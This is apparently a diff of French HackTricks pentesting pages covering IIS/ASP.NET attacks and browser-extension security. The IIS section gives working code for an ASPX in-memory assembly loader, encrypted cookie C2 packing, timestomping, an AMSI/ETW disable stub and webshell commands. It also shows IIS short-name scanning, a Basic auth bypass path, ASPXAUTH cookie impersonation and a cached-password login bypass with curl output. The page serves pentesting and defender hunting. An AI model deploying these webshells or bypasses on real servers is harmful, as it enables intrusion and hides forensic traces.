|
||||
|
||||
Key building blocks
|
||||
- ASPX bootstrapper hosting an embedded payload: une seule page .aspx (par ex., OutlookEN.aspx) contient une .NET DLL encodée en Base64, éventuellement compressée en Gzip. Lors d'une requête déclencheur elle la décode, la décompresse et la charge reflectively dans l'AppDomain courant puis invoque le point d'entrée principal (par ex., ServerRun.Run()).
|
||||
- Cookie‑scoped, encrypted C2 with multi‑stage packing: tâches/résultats sont emballés avec Gzip → AES‑ECB/PKCS7 → Base64 et véhiculés via des requêtes apparemment légitimes fortement chargées de cookies ; les opérateurs utilisaient des délimiteurs stables (par ex., "STAR") pour le chunking.
|
||||
- Reflective .NET execution: accepte des assemblies managés arbitraires en Base64, les charge via Assembly.Load(byte[]) et passe des operator args pour permettre des swaps de modules rapides sans écrire sur le disque.
|
||||
- Operating in precompiled ASP.NET sites: ajouter/gérer des shells/backdoors auxiliaires même lorsque le site est précompilé (par ex., le dropper ajoute des pages/handlers dynamiques ou exploite des config handlers) – exposé par des commandes telles que bypassPrecompiledApp, addshell, listshell, removeshell.
|
||||
- Timestomping/metadata forgery: exposer une action changeLastModified et timestomp lors du déploiement (incluant les timestamps de compilation futurs) pour entraver le DFIR.
|
||||
- Optional AMSI/ETW pre‑disable for loaders: un loader de second stade peut désactiver AMSI et ETW avant d'appeler Assembly.Load pour réduire l'inspection des payloads en mémoire.
|
||||
|
||||
Schéma minimal de loader ASPX
|
||||
```aspx
|
||||
<%@ Page Language="C#" %>
|
||||
<%@ Import Namespace="System" %>
|
||||
<%@ Import Namespace="System.IO" %>
|
||||
<%@ Import Namespace="System.IO.Compression" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
<script runat="server">
|
||||
protected void Page_Load(object sender, EventArgs e){
|
||||
// 1) Obtain payload bytes (hard‑coded blob or from request)
|
||||
string b64 = /* hardcoded or Request["d"] */;
|
||||
byte[] blob = Convert.FromBase64String(b64);
|
||||
// optional: decrypt here if AES is used
|
||||
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
|
||||
using(var ms = new MemoryStream()){
|
||||
gz.CopyTo(ms);
|
||||
var asm = Assembly.Load(ms.ToArray());
|
||||
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
|
||||
var t = asm.GetType("ServerRun");
|
||||
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
|
||||
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
|
||||
m.Invoke(inst, new object[]{ HttpContext.Current });
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Outils d'aide pour Packing/crypto (Gzip + AES‑ECB + Base64)
|
||||
```csharp
|
||||
using System.Security.Cryptography;
|
||||
|
||||
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
|
||||
using(var aes = Aes.Create()){
|
||||
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
|
||||
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
|
||||
return t.TransformFinalBlock(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
static string Pack(object obj, byte[] key){
|
||||
// serialize → gzip → AES‑ECB → Base64
|
||||
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
|
||||
using var ms = new MemoryStream();
|
||||
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
|
||||
byte[] enc = AesEcb(ms.ToArray(), key, true);
|
||||
return Convert.ToBase64String(enc);
|
||||
}
|
||||
|
||||
static T Unpack<T>(string b64, byte[] key){
|
||||
byte[] enc = Convert.FromBase64String(b64);
|
||||
byte[] cmp = AesEcb(enc, key, false);
|
||||
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
|
||||
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
|
||||
return Deserialize<T>(outMs.ToArray());
|
||||
}
|
||||
```
|
||||
Cookie/session flux et surface de commande
|
||||
- L'initialisation de session et l'assignation des tâches sont réalisées via des cookies pour se fondre dans l'activité web normale.
|
||||
- Les commandes observées sur le terrain incluaient : fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; et les primitives d'exécution dynamique code_self, code_pid, run_code pour l'exécution .NET en mémoire.
|
||||
|
||||
Utilitaire de Timestomping
|
||||
```csharp
|
||||
File.SetCreationTime(path, ts);
|
||||
File.SetLastWriteTime(path, ts);
|
||||
File.SetLastAccessTime(path, ts);
|
||||
```
|
||||
Désactivation inline d'AMSI/ETW avant Assembly.Load (variante loader)
|
||||
```csharp
|
||||
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
|
||||
// and ntdll!EtwEventWrite to a stub; then load operator assembly
|
||||
DisableAmsi();
|
||||
DisableEtw();
|
||||
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
|
||||
```
|
||||
Voir les techniques de contournement AMSI/ETW dans : windows-hardening/av-bypass.md
|
||||
|
||||
Notes pour les défenseurs (Hunting)
|
||||
- Page ASPX unique et étrange avec de très longs blobs Base64/Gzip ; requêtes POST avec beaucoup de cookies.
|
||||
- Modules managés non attachés dans w3wp.exe ; chaînes comme Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
|
||||
- Délimiteurs répétés comme "STAR" dans le trafic ; horodatages discordants ou même futurs sur les ASPX/assemblies.
|
||||
|
||||
## Anciennes vulnérabilités IIS à rechercher
|
||||
|
||||
### Vulnérabilité/Fonctionnalité du caractère tilde “\~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers courts
|
||||
|
||||
Vous pouvez essayer d'**énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même si cela nécessite une authentification de base) en utilisant cette **technique**.\
|
||||
La principale limitation de cette technique si le serveur est vulnérable est qu'elle **ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension** des fichiers.
|
||||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||
|
||||
Vous pouvez essayer d'**énumérer les dossiers et fichiers** à l'intérieur de chaque dossier découvert (même si cela nécessite Basic Authentication) en utilisant cette **technique**.\
|
||||
La principale limitation de cette technique si le serveur est vulnérable est qu'**elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension** des fichiers.
|
||||
|
||||
Vous pouvez utiliser [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) pour tester cette vulnérabilité : `java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
@ -205,43 +322,43 @@ Vous pouvez utiliser [https://github.com/irsdl/IIS-ShortName-Scanner](https://gi
|
||||
|
||||
Recherche originale : [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||
|
||||
Vous pouvez également utiliser **metasploit** : `use scanner/http/iis_shortname_scanner`
|
||||
Vous pouvez aussi utiliser **metasploit** : `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Une bonne idée pour **trouver le nom final** des fichiers découverts est de **demander aux LLMs** des options comme cela est fait dans le script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
Une bonne idée pour **trouver le nom final** des fichiers découverts est de **demander aux LLMs** des options comme c'est fait dans le script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Contournement de l'authentification de base
|
||||
### Basic Authentication bypass
|
||||
|
||||
**Contourner** une authentification de base (**IIS 7.5**) en essayant d'accéder à : `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
**Contourner** une authentification Basic (**IIS 7.5**) en essayant d'accéder à : `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
Vous pouvez essayer de **mélanger** cette **vulnérabilité** et la dernière pour trouver de nouveaux **dossiers** et **contourner** l'authentification.
|
||||
Vous pouvez essayer de **combiner** cette **vulnérabilité** et la précédente pour trouver de nouveaux **dossiers** et **contourner** l'authentification.
|
||||
|
||||
## Débogage ASP.NET Trace.AXD activé
|
||||
## ASP.NET Trace.AXD enabled debugging
|
||||
|
||||
ASP.NET inclut un mode de débogage et son fichier s'appelle `trace.axd`.
|
||||
|
||||
Il conserve un journal très détaillé de toutes les requêtes faites à une application sur une période de temps.
|
||||
Il conserve un journal très détaillé de toutes les requêtes effectuées sur une application sur une période donnée.
|
||||
|
||||
Cette information inclut les IP des clients distants, les ID de session, tous les cookies de requête et de réponse, les chemins physiques, les informations sur le code source, et potentiellement même les noms d'utilisateur et mots de passe.
|
||||
Ces informations incluent les IP distantes des clients, les session IDs, tous les cookies de requête et de réponse, les chemins physiques, des informations sur le code source, et potentiellement même des noms d'utilisateur et des mots de passe.
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||

|
||||

|
||||
|
||||
## Cookie ASPXAUTH
|
||||
## ASPXAUTH Cookie
|
||||
|
||||
ASPXAUTH utilise les informations suivantes :
|
||||
|
||||
- **`validationKey`** (chaîne) : clé hexadécimale à utiliser pour la validation de signature.
|
||||
- **`decryptionMethod`** (chaîne) : (par défaut “AES”).
|
||||
- **`decryptionIV`** (chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).
|
||||
- **`decryptionKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.
|
||||
- **`validationKey`** (string) : clé encodée en hex utilisée pour la validation de la signature.
|
||||
- **`decryptionMethod`** (string) : (par défaut “AES”).
|
||||
- **`decryptionIV`** (string) : vecteur d'initialisation encodé en hex (par défaut un vecteur de zéros).
|
||||
- **`decryptionKey`** (string) : clé encodée en hex utilisée pour le déchiffrement.
|
||||
|
||||
Cependant, certaines personnes utiliseront les **valeurs par défaut** de ces paramètres et utiliseront comme **cookie l'email de l'utilisateur**. Par conséquent, si vous pouvez trouver un site web utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper** sur le serveur attaqué, vous pourrez peut-être **utiliser le cookie du second serveur dans le premier** et usurper l'utilisateur.\
|
||||
Cette attaque a fonctionné dans ce [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
Cependant, certaines personnes utilisent les **valeurs par défaut** de ces paramètres et mettent comme **cookie l'email de l'utilisateur**. Par conséquent, si vous trouvez un site utilisant la **même plateforme** qui utilise le cookie ASPXAUTH et que vous **créez un utilisateur avec l'email de l'utilisateur que vous souhaitez usurper** sur le serveur attaqué, vous pourriez être en mesure d'**utiliser le cookie du second serveur sur le premier** et d'usurper l'utilisateur.\
|
||||
Cette attaque a fonctionné dans ce **writeup** : https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19.
|
||||
|
||||
## Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Rapport complet ici](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) : Un bug dans le code **n'a pas correctement vérifié le mot de passe donné par l'utilisateur**, donc un attaquant dont le **hash du mot de passe correspond à une clé** déjà dans le **cache** pourra se connecter en tant que cet utilisateur.
|
||||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) : Un bug dans le code ne vérifiait pas correctement le mot de passe fourni par l'utilisateur, donc un attaquant dont le hash du mot de passe correspond à une clé déjà présente dans le cache pourra se connecter en tant que cet utilisateur.
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
@ -261,4 +378,9 @@ HTTP/1.1 401 Unauthorized
|
||||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
## Références
|
||||
|
||||
- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,43 +1,43 @@
|
||||
# Méthodologie de Pentesting des Extensions de Navigateur
|
||||
# Méthodologie de pentesting des extensions de navigateur
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de Base
|
||||
## Informations de base
|
||||
|
||||
Les extensions de navigateur sont écrites en JavaScript et chargées par le navigateur en arrière-plan. Elles ont leur [DOM](https://www.w3schools.com/js/js_htmldom.asp) mais peuvent interagir avec les DOM d'autres sites. Cela signifie qu'elles peuvent compromettre la confidentialité, l'intégrité et la disponibilité (CIA) d'autres sites.
|
||||
Les extensions de navigateur sont écrites en JavaScript et chargées par le navigateur en arrière-plan. Elles possèdent leur [DOM](https://www.w3schools.com/js/js_htmldom.asp) mais peuvent interagir avec le DOM d'autres sites. Cela signifie qu'elles peuvent compromettre la confidentialité, l'intégrité et la disponibilité (CIA) d'autres sites.
|
||||
|
||||
## Composants Principaux
|
||||
## Principaux composants
|
||||
|
||||
Les mises en page des extensions sont mieux visualisées et se composent de trois composants. Examinons chaque composant en profondeur.
|
||||
La structure d'une extension se visualise mieux et se compose de trois composants. Examinons chacun en détail.
|
||||
|
||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Scripts de Contenu**
|
||||
### **Content Scripts**
|
||||
|
||||
Chaque script de contenu a un accès direct au DOM d'une **page web unique** et est donc exposé à des **entrées potentiellement malveillantes**. Cependant, le script de contenu ne contient aucune permission autre que la capacité d'envoyer des messages au cœur de l'extension.
|
||||
Chaque content script a un accès direct au DOM d'une **page web unique** et est ainsi exposé à des **entrées potentiellement malveillantes**. Cependant, le content script ne possède aucune permission autre que la possibilité d'envoyer des messages à l'extension core.
|
||||
|
||||
### **Cœur de l'Extension**
|
||||
### **Extension Core**
|
||||
|
||||
Le cœur de l'extension contient la plupart des privilèges/accès de l'extension, mais le cœur de l'extension ne peut interagir avec le contenu web que via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) et les scripts de contenu. De plus, le cœur de l'extension n'a pas d'accès direct à la machine hôte.
|
||||
L'extension core contient la plupart des privilèges/accès de l'extension, mais l'extension core ne peut interagir avec le contenu web que via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) et les content scripts. De plus, l'extension core n'a pas d'accès direct à la machine hôte.
|
||||
|
||||
### **Binaire Natif**
|
||||
### **Native Binary**
|
||||
|
||||
L'extension permet un binaire natif qui peut **accéder à la machine hôte avec les pleins privilèges de l'utilisateur.** Le binaire natif interagit avec le cœur de l'extension via l'interface de programmation d'applications standard Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plug-ins de navigateur.
|
||||
L'extension peut inclure un binaire natif qui peut **accéder à la machine hôte avec les privilèges complets de l'utilisateur.** Le binaire natif interagit avec l'extension core via l'API standard Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilisée par Flash et d'autres plug-ins de navigateur.
|
||||
|
||||
### Frontières
|
||||
### Boundaries
|
||||
|
||||
> [!CAUTION]
|
||||
> Pour obtenir les pleins privilèges de l'utilisateur, un attaquant doit convaincre l'extension de transmettre des entrées malveillantes du script de contenu au cœur de l'extension et du cœur de l'extension au binaire natif.
|
||||
> Pour obtenir les privilèges complets de l'utilisateur, un attaquant doit convaincre l'extension de transmettre une entrée malveillante du content script vers le core de l'extension, puis du core de l'extension vers le binaire natif.
|
||||
|
||||
Chaque composant de l'extension est séparé des autres par **de fortes frontières protectrices**. Chaque composant s'exécute dans un **processus de système d'exploitation séparé**. Les scripts de contenu et les cœurs d'extension s'exécutent dans des **processus de bac à sable** inaccessibles à la plupart des services du système d'exploitation.
|
||||
Chaque composant de l'extension est séparé des autres par des **barrières de protection solides**. Chaque composant s'exécute dans un **processus distinct du système d'exploitation**. Les content scripts et les extension cores s'exécutent dans des **processus sandbox** non accessibles à la plupart des services du système d'exploitation.
|
||||
|
||||
De plus, les scripts de contenu sont séparés de leurs pages web associées en **s'exécutant dans un tas JavaScript séparé**. Le script de contenu et la page web ont **accès au même DOM sous-jacent**, mais les deux **n'échangent jamais de pointeurs JavaScript**, empêchant la fuite de fonctionnalités JavaScript.
|
||||
De plus, les content scripts sont séparés de leurs pages web associées en **s'exécutant dans un tas JavaScript séparé**. Le content script et la page web ont **accès au même DOM sous-jacent**, mais les deux **n'échangent jamais de pointeurs JavaScript**, empêchant le leak de fonctionnalités JavaScript.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
Une extension Chrome est simplement un dossier ZIP avec une [extension de fichier .crx](https://www.lifewire.com/crx-file-2620391). Le cœur de l'extension est le fichier **`manifest.json`** à la racine du dossier, qui spécifie la mise en page, les permissions et d'autres options de configuration.
|
||||
Une extension Chrome n'est qu'un dossier ZIP avec une extension de fichier [.crx](https://www.lifewire.com/crx-file-2620391). Le core de l'extension est le fichier **`manifest.json`** à la racine du dossier, qui spécifie la structure, les permissions et d'autres options de configuration.
|
||||
|
||||
Exemple :
|
||||
Exemple:
|
||||
```json
|
||||
{
|
||||
"manifest_version": 2,
|
||||
@ -61,7 +61,7 @@ Exemple :
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
Les scripts de contenu sont **chargés** chaque fois que l'utilisateur **navigue vers une page correspondante**, dans notre cas toute page correspondant à l'expression **`https://example.com/*`** et ne correspondant pas à l'expression régulière **`*://*/*/business*`**. Ils s'exécutent **comme les propres scripts de la page** et ont un accès arbitraire au [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la page.
|
||||
Les content scripts sont **chargés** chaque fois que l'utilisateur **navigue vers une page correspondante**, dans notre cas toute page correspondant à l'expression **`https://example.com/*`** et ne correspondant pas au regex **`*://*/*/business*`**. Ils s'exécutent **comme les propres scripts de la page** et ont un accès arbitraire au [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
@ -76,9 +76,9 @@ Les scripts de contenu sont **chargés** chaque fois que l'utilisateur **navigue
|
||||
}
|
||||
],
|
||||
```
|
||||
Pour inclure ou exclure plus d'URLs, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
Pour inclure ou exclure davantage d'URLs, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
|
||||
Ceci est un exemple de script de contenu qui ajoutera un bouton d'explication à la page lorsque [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour récupérer la valeur `message` du stockage de l'extension.
|
||||
Ceci est un exemple de content script qui ajoutera un bouton explain à la page et utilisera [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour récupérer la valeur `message` depuis le stockage de l'extension.
|
||||
```js
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let div = document.createElement("div")
|
||||
@ -91,22 +91,22 @@ document.body.appendChild(div)
|
||||
```
|
||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Un message est envoyé aux pages d'extension par le script de contenu lorsque ce bouton est cliqué, grâce à l'utilisation de l'[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Cela est dû à la limitation du script de contenu dans l'accès direct aux API, `storage` étant l'une des rares exceptions. Pour des fonctionnalités au-delà de ces exceptions, des messages sont envoyés aux pages d'extension avec lesquelles les scripts de contenu peuvent communiquer.
|
||||
Un message est envoyé aux pages de l'extension par le content script lorsque ce bouton est cliqué, via l'utilisation de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Ceci est dû à la limitation du content script en matière d'accès direct aux APIs, `storage` étant l'une des rares exceptions. Pour les fonctionnalités dépassant ces exceptions, des messages sont envoyés aux pages de l'extension avec lesquelles les content scripts peuvent communiquer.
|
||||
|
||||
> [!WARNING]
|
||||
> Selon le navigateur, les capacités du script de contenu peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la [documentation des développeurs Chrome](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\
|
||||
> Il est également à noter que les scripts de contenu ont la capacité de communiquer avec les scripts d'arrière-plan, leur permettant d'effectuer des actions et de relayer des réponses.
|
||||
> Selon le navigateur, les capacités du content script peuvent varier légèrement. Pour les navigateurs basés sur Chromium, la liste des capacités est disponible dans la [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), et pour Firefox, le [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sert de source principale.\
|
||||
> Il est également important de noter que les content scripts peuvent communiquer avec les background scripts, leur permettant d'effectuer des actions et de renvoyer des réponses.
|
||||
|
||||
Pour visualiser et déboguer les scripts de contenu dans Chrome, le menu des outils de développement Chrome peut être accessible depuis Options > Plus d'outils > Outils de développement OU en appuyant sur Ctrl + Shift + I.
|
||||
Pour visualiser et déboguer les content scripts dans Chrome, le menu Chrome developer tools est accessible via Options > More tools > Developer tools OU en appuyant sur Ctrl + Shift + I.
|
||||
|
||||
Une fois les outils de développement affichés, l'onglet **Source** doit être cliqué, suivi de l'onglet **Content Scripts**. Cela permet d'observer les scripts de contenu en cours d'exécution de diverses extensions et de définir des points d'arrêt pour suivre le flux d'exécution.
|
||||
Une fois les developer tools affichés, cliquez sur l'onglet **Source tab**, puis sur l'onglet **Content Scripts**. Cela permet d'observer les content scripts en cours d'exécution provenant de différentes extensions et de poser des points d'arrêt pour suivre le flux d'exécution.
|
||||
|
||||
### Scripts de contenu injectés
|
||||
### Content scripts injectés
|
||||
|
||||
> [!TIP]
|
||||
> Notez que **les scripts de contenu ne sont pas obligatoires** car il est également possible de **dynamically** **injecter** des scripts et de **les injecter programatiquement** dans des pages web via **`tabs.executeScript`**. Cela offre en fait plus de **contrôles granulaire**.
|
||||
> Notez que **Content Scripts ne sont pas obligatoires** car il est aussi possible d'**injecter dynamiquement** des scripts et de les **injecter programmatiquement** dans des pages web via **`tabs.executeScript`**. Cela fournit en fait des contrôles plus **granulaires**.
|
||||
|
||||
Pour l'injection programmatique d'un script de contenu, l'extension doit avoir des [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces permissions peuvent être obtenues soit en **les demandant** dans le manifeste de l'extension, soit de manière temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
Pour l'injection programmatique d'un content script, l'extension doit disposer des [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts seront injectés. Ces permissions peuvent être obtenues soit en les **demandant** dans le manifest de l'extension, soit temporairement via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
|
||||
|
||||
#### Exemple d'extension basée sur activeTab
|
||||
```json:manifest.json
|
||||
@ -125,7 +125,7 @@ Pour l'injection programmatique d'un script de contenu, l'extension doit avoir d
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Injecter un fichier JS au clic :**
|
||||
- **Injecter un fichier JS au clic:**
|
||||
```javascript
|
||||
// content-script.js
|
||||
document.body.style.backgroundColor = "orange"
|
||||
@ -152,7 +152,7 @@ func: injectedFunction,
|
||||
})
|
||||
})
|
||||
```
|
||||
#### Exemple avec des autorisations de script
|
||||
#### Exemple avec autorisations de script
|
||||
```javascript
|
||||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([
|
||||
@ -167,17 +167,17 @@ js: ["contentScript.js"],
|
||||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
```
|
||||
Pour inclure ou exclure plus d'URLs, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
Pour inclure ou exclure davantage d'URLs, il est également possible d'utiliser **`include_globs`** et **`exclude_globs`**.
|
||||
|
||||
### Scripts de contenu `run_at`
|
||||
|
||||
Le champ `run_at` contrôle **quand les fichiers JavaScript sont injectés dans la page web**. La valeur préférée et par défaut est `"document_idle"`.
|
||||
|
||||
Les valeurs possibles sont :
|
||||
The possible values are:
|
||||
|
||||
- **`document_idle`** : Chaque fois que c'est possible
|
||||
- **`document_start`** : Après tous les fichiers de `css`, mais avant que tout autre DOM soit construit ou qu'un autre script soit exécuté.
|
||||
- **`document_end`** : Immédiatement après que le DOM soit complet, mais avant que les sous-ressources comme les images et les cadres aient été chargées.
|
||||
- **`document_idle`**: Dès que possible
|
||||
- **`document_start`**: Après les fichiers `css`, mais avant que le DOM ne soit construit ou que d'autres scripts ne s'exécutent.
|
||||
- **`document_end`**: Immédiatement après que le DOM est complet, mais avant que les sous-ressources comme les images et les frames ne soient chargées.
|
||||
|
||||
#### Via `manifest.json`
|
||||
```json
|
||||
@ -208,18 +208,18 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
Les messages envoyés par les scripts de contenu sont reçus par la **page de fond**, qui joue un rôle central dans la coordination des composants de l'extension. Notamment, la page de fond persiste tout au long de la vie de l'extension, fonctionnant discrètement sans interaction directe de l'utilisateur. Elle possède son propre Document Object Model (DOM), permettant des interactions complexes et la gestion de l'état.
|
||||
Les messages envoyés par les content scripts sont reçus par la **background page**, qui joue un rôle central dans la coordination des composants de l'extension. Notamment, la background page persiste tout au long de la durée de vie de l'extension, fonctionnant discrètement sans interaction directe avec l'utilisateur. Elle possède son propre Document Object Model (DOM), permettant des interactions complexes et la gestion d'état.
|
||||
|
||||
**Points Clés**:
|
||||
**Points clés**:
|
||||
|
||||
- **Rôle de la Page de Fond :** Agit comme le centre névralgique de l'extension, garantissant la communication et la coordination entre les différentes parties de l'extension.
|
||||
- **Persistance :** C'est une entité toujours présente, invisible à l'utilisateur mais intégrale au fonctionnement de l'extension.
|
||||
- **Génération Automatique :** Si elle n'est pas explicitement définie, le navigateur créera automatiquement une page de fond. Cette page générée automatiquement inclura tous les scripts de fond spécifiés dans le manifeste de l'extension, garantissant le bon fonctionnement des tâches de fond de l'extension.
|
||||
- **Background Page Role:** Agit comme le centre névralgique de l'extension, assurant la communication et la coordination entre les différentes parties de l'extension.
|
||||
- **Persistence:** C'est une entité toujours présente, invisible pour l'utilisateur mais essentielle au fonctionnement de l'extension.
|
||||
- **Automatic Generation:** Si elle n'est pas définie explicitement, le navigateur créera automatiquement une background page. Cette page auto-générée inclura tous les background scripts spécifiés dans le manifest de l'extension, garantissant le fonctionnement transparent des tâches en arrière-plan de l'extension.
|
||||
|
||||
> [!TIP]
|
||||
> La commodité fournie par le navigateur en générant automatiquement une page de fond (lorsqu'elle n'est pas explicitement déclarée) garantit que tous les scripts de fond nécessaires sont intégrés et opérationnels, simplifiant ainsi le processus de configuration de l'extension.
|
||||
> La commodité offerte par le navigateur en générant automatiquement une background page (lorsqu'elle n'est pas déclarée explicitement) garantit que tous les background scripts nécessaires sont intégrés et opérationnels, simplifiant le processus de configuration de l'extension.
|
||||
|
||||
Exemple de script de fond :
|
||||
Exemple de background script:
|
||||
```js
|
||||
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
|
||||
if (request == "explain") {
|
||||
@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
}
|
||||
})
|
||||
```
|
||||
Il utilise l'[API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) pour écouter les messages. Lorsqu'un message `"explain"` est reçu, il utilise l'[API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) pour ouvrir une page dans un nouvel onglet.
|
||||
Il utilise [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) pour écouter les messages. Lorsqu'un message `"explain"` est reçu, il utilise [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) pour ouvrir une page dans un nouvel onglet.
|
||||
|
||||
